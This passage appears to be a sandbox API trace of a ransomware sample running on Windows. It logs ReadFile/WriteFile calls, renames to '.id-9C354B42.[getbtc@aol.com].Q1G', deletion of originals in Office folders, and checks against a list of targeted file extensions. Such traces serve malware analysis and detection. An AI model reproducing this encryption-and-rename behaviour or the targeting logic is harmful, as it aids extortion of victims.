lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc590, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xc590, lpOverlapped=0x0) returned 1 [0259.664] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.664] WriteFile (in: hFile=0x1bc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0259.664] SetEndOfFile (hFile=0x1bc) returned 1 [0259.665] CloseHandle (hObject=0x1bc) returned 1 [0259.665] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.665] SetEndOfFile (hFile=0x3e0) returned 1 [0259.668] CloseHandle (hObject=0x3e0) returned 1 [0259.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 1 [0259.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.669] lstrlenW (lpString=".doc") returned 4 [0259.669] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString=".docx") returned 5 [0259.669] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0259.669] lstrlenW (lpString=".pdf") returned 4 [0259.669] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString=".xls") returned 4 [0259.669] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.669] lstrlenW (lpString=".xlsx") returned 5 [0259.669] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0259.669] lstrlenW (lpString=".ppt") returned 4 [0259.669] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.669] lstrlenW (lpString=".zip") returned 4 [0259.669] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.669] lstrlenW (lpString=".rar") returned 4 [0259.669] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString=".bz2") returned 4 [0259.669] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString=".7z") returned 3 [0259.669] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.669] lstrlenW (lpString=".dbf") returned 4 [0259.669] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.669] lstrlenW (lpString=".1cd") returned 4 [0259.669] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.669] lstrlenW (lpString=".jpg") returned 4 [0259.669] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.669] lstrlenW (lpString=".doc") returned 4 [0259.669] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.669] lstrlenW (lpString=".docx") returned 5 [0259.669] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0259.670] lstrlenW (lpString=".pdf") returned 4 [0259.670] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.670] lstrlenW (lpString=".xls") returned 4 [0259.670] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.670] lstrlenW (lpString=".xlsx") returned 5 [0259.670] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0259.670] lstrlenW (lpString=".ppt") returned 4 [0259.670] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.670] lstrlenW (lpString=".zip") returned 4 [0259.670] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.670] lstrlenW (lpString=".rar") returned 4 [0259.670] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.670] lstrlenW (lpString=".bz2") returned 4 [0259.670] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.670] lstrlenW (lpString=".7z") returned 3 [0259.670] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.670] lstrlenW (lpString=".dbf") returned 4 [0259.670] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.670] lstrlenW (lpString=".1cd") returned 4 [0259.670] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0259.670] lstrlenW (lpString=".jpg") returned 4 [0259.670] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.670] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0259.670] lstrlenW (lpString="RM.DLL") returned 6 [0259.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.673] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=99688) returned 1 [0259.673] CloseHandle (hObject=0x3e0) returned 1 [0259.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll")) returned 0x20 [0259.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.674] lstrlenW (lpString=".doc") returned 4 [0259.674] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.674] lstrlenW (lpString=".docx") returned 5 [0259.674] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0259.674] lstrlenW (lpString=".pdf") returned 4 [0259.674] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.674] lstrlenW (lpString=".xls") returned 4 [0259.674] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.674] lstrlenW (lpString=".xlsx") returned 5 [0259.674] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0259.674] lstrlenW (lpString=".ppt") returned 4 [0259.674] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.674] lstrlenW (lpString=".zip") returned 4 [0259.674] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.674] lstrlenW (lpString=".rar") returned 4 [0259.674] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.674] lstrlenW (lpString=".bz2") returned 4 [0259.674] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.674] lstrlenW (lpString=".7z") returned 3 [0259.674] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.674] lstrlenW (lpString=".dbf") returned 4 [0259.674] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.675] lstrlenW (lpString=".1cd") returned 4 [0259.675] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.675] lstrlenW (lpString=".jpg") returned 4 [0259.675] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.675] lstrlenW (lpString=".doc") returned 4 [0259.675] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.675] lstrlenW (lpString=".docx") returned 5 [0259.675] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0259.675] lstrlenW (lpString=".pdf") returned 4 [0259.675] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.675] lstrlenW (lpString=".xls") returned 4 [0259.675] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.675] lstrlenW (lpString=".xlsx") returned 5 [0259.675] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0259.675] lstrlenW (lpString=".ppt") returned 4 [0259.675] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.675] lstrlenW (lpString=".zip") returned 4 [0259.675] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.675] lstrlenW (lpString=".rar") returned 4 [0259.675] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.675] lstrlenW (lpString=".bz2") returned 4 [0259.675] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.675] lstrlenW (lpString=".7z") returned 3 [0259.675] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.675] lstrlenW (lpString=".dbf") returned 4 [0259.675] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.675] lstrlenW (lpString=".1cd") returned 4 [0259.676] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57 [0259.676] lstrlenW (lpString=".jpg") returned 4 [0259.676] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.676] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0259.676] lstrlenW (lpString="TRANSMGR.DLL") returned 12 [0259.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.677] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=130944) returned 1 [0259.677] CloseHandle (hObject=0x3e0) returned 1 [0259.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll")) returned 0x20 [0259.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\transmgr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.677] lstrlenW (lpString=".doc") returned 4 [0259.678] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString=".docx") returned 5 [0259.678] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0259.678] lstrlenW (lpString=".pdf") returned 4 [0259.678] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString=".xls") returned 4 [0259.678] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString=".xlsx") returned 5 [0259.678] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0259.678] lstrlenW (lpString=".ppt") returned 4 [0259.678] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.678] lstrlenW (lpString=".zip") returned 4 [0259.678] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString=".rar") returned 4 [0259.678] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString=".bz2") returned 4 [0259.678] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.678] lstrlenW (lpString=".7z") returned 3 [0259.678] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.678] lstrlenW (lpString=".dbf") returned 4 [0259.678] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.678] lstrlenW (lpString=".1cd") returned 4 [0259.678] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.678] lstrlenW (lpString=".jpg") returned 4 [0259.678] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.678] lstrlenW (lpString=".doc") returned 4 [0259.678] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.678] lstrlenW (lpString=".docx") returned 5 [0259.678] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0259.678] lstrlenW (lpString=".pdf") returned 4 [0259.679] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.679] lstrlenW (lpString=".xls") returned 4 [0259.679] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.679] lstrlenW (lpString=".xlsx") returned 5 [0259.679] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0259.679] lstrlenW (lpString=".ppt") returned 4 [0259.679] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.679] lstrlenW (lpString=".zip") returned 4 [0259.679] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.679] lstrlenW (lpString=".rar") returned 4 [0259.679] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.679] lstrlenW (lpString=".bz2") returned 4 [0259.679] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.679] lstrlenW (lpString=".7z") returned 3 [0259.679] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.679] lstrlenW (lpString=".dbf") returned 4 [0259.679] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.679] lstrlenW (lpString=".1cd") returned 4 [0259.679] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\TRANSMGR.DLL") returned 63 [0259.679] lstrlenW (lpString=".jpg") returned 4 [0259.679] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.679] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0259.679] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16 [0259.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.680] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=594352) returned 1 [0259.680] CloseHandle (hObject=0x3e0) returned 1 [0259.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll")) returned 0x20 [0259.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.680] lstrlenW (lpString=".doc") returned 4 [0259.680] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString=".docx") returned 5 [0259.681] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0259.681] lstrlenW (lpString=".pdf") returned 4 [0259.681] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString=".xls") returned 4 [0259.681] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString=".xlsx") returned 5 [0259.681] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0259.681] lstrlenW (lpString=".ppt") returned 4 [0259.681] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.681] lstrlenW (lpString=".zip") returned 4 [0259.681] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString=".rar") returned 4 [0259.681] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString=".bz2") returned 4 [0259.681] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.681] lstrlenW (lpString=".7z") returned 3 [0259.681] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.681] lstrlenW (lpString=".dbf") returned 4 [0259.681] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.681] lstrlenW (lpString=".1cd") returned 4 [0259.681] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.681] lstrlenW (lpString=".jpg") returned 4 [0259.681] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.681] lstrlenW (lpString=".doc") returned 4 [0259.681] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.681] lstrlenW (lpString=".docx") returned 5 [0259.681] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0259.681] lstrlenW (lpString=".pdf") returned 4 [0259.681] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.682] lstrlenW (lpString=".xls") returned 4 [0259.682] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.682] lstrlenW (lpString=".xlsx") returned 5 [0259.682] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0259.682] lstrlenW (lpString=".ppt") returned 4 [0259.682] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.682] lstrlenW (lpString=".zip") returned 4 [0259.682] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.682] lstrlenW (lpString=".rar") returned 4 [0259.682] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.682] lstrlenW (lpString=".bz2") returned 4 [0259.682] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.682] lstrlenW (lpString=".7z") returned 3 [0259.682] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.682] lstrlenW (lpString=".dbf") returned 4 [0259.682] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.682] lstrlenW (lpString=".1cd") returned 4 [0259.682] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0259.682] lstrlenW (lpString=".jpg") returned 4 [0259.682] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.682] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0259.682] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16 [0259.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.683] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=766384) returned 1 [0259.683] CloseHandle (hObject=0x3e0) returned 1 [0259.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll")) returned 0x20 [0259.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString=".doc") returned 4 [0259.684] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString=".docx") returned 5 [0259.684] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0259.684] lstrlenW (lpString=".pdf") returned 4 [0259.684] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString=".xls") returned 4 [0259.684] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString=".xlsx") returned 5 [0259.684] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0259.684] lstrlenW (lpString=".ppt") returned 4 [0259.684] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString=".zip") returned 4 [0259.684] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString=".rar") returned 4 [0259.684] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.684] lstrlenW (lpString=".bz2") returned 4 [0259.684] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.684] lstrlenW (lpString=".7z") returned 3 [0259.684] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString=".dbf") returned 4 [0259.684] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0259.684] lstrlenW (lpString=".1cd") returned 4 [0259.684] 